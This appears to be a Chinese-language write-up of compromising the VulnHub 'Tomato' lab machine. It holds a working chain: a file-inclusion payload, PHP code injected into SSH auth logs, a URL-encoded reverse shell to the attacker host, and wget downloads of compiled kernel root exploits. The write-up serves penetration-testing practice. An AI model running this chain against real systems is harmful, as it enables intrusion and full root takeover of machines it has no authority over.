靶机镜像下载地址:
http://www.vulnhub.com/entry/tomato-1,557/
Kali Linux IP:192.168.1.128Tomato IP: 192.168.1.140发现其他站点目录,尝试访问:
http://192.168.1.140/antibot_image/antibots/
根据修改时间发现info.php文件最新更新,访问并查看源码: 发现文件包含,尝试包含文件…/…/…/…/…/…/etc/passwd:
http://192.168.1.140/antibot_image/antibots/info.php?image=../../../../../../etc/passwd
已知info.php文件存在文件包含漏洞,以及开放ssh端口,尝试包含ssh认证日志文件/var/log/auth.log,并利用ssh认证用户名实现命令注入:
尝试用tomato作为用户名进行失败登录,观察相关日志记录: 利用<?php system($_GET['cmd']);?>作为用户名进行php代码注入: <?php system($_GET['cmd']);?> 验证PHP代码是否注入成功: 访问http://192.168.1.140/antibot_image/antibots/info.php?image=../../../../../../var/log/auth.log&cmd=ls并查看网页源代码: 尝试getshell,利用php反弹shell,Kali攻击机利用nc监听4444端口: nc -lvp 4444PHP反弹shell代码如下:
php -r '$sock=fsockopen("192.168.1.128",4444);exec("/bin/sh -i <&3 >&3 2>&3");'进行url编码后得到:
php+-r+%27%24sock%3dfsockopen(%22192.168.1.128%22%2c4444)%3bexec(%22%2fbin%2fsh+-i+%3c%263+%3e%263+2%3e%263%22)%3b%27访问http://192.168.1.140/antibot_image/antibots/info.php?image=../../../../../../var/log/auth.log&cmd=php+-r+%27%24sock%3dfsockopen(%22192.168.1.128%22%2c4444)%3bexec(%22%2fbin%2fsh+-i+%3c%263+%3e%263+2%3e%263%22)%3b%27 成功getshell:
2.查看内核版本:
uname -a利用searchsploit搜索相应内核模块:
searchsploit 4.4.0-21利用44300.c,netfilter模块的提权POC,使用命令:
searchsploit -m 44300查看poc信息,将44300.c分成decr.c与pwn.c两个c文件分别编译:
gedit 44300.c编译出错: 完整安装gcc:
sudo apt-get install gcc-multilib分别编译,编译完成(警告先不管):
gcc decr.c -m64 -O2 -o decr gcc pwn.c -m64 -O2 -o pwnKali攻击机后台启动Http服务器,上传文件:
python -m SimpleHTTPServer 8080 &目标主机跳转到/tmp目录下,利用wget获取提权exp:
wget http://192.168.1.128:8080/decr wget http://192.168.1.128:8080/pwn赋予exp执行权限运行提权:
chmod +x decr && chmod +x pwn ./decr ./pwn提权失败。。。。 网上搜索发现github上面有一个提权相关,Kali主机git项目:
https://github.com/kkamagui/linux-kernel-exploits git clone https://github.com/kkamagui/linux-kernel-exploits.git运行compile.sh 编译c文件,并上传到目标主机,赋予执行权限,运行结果如下:
wget http://192.168.1.128:8080//linux-kernel-exploits/kernel-4.4.0-21-generic/CVE-2017-6074/CVE-2017-6074 chmod +x CVE-2017-6074 ./CVE-2017-6074提权成功 但是可能是因为物理机电脑CPU不兼容,虚拟机报错: 不过也算渗透成功了。。。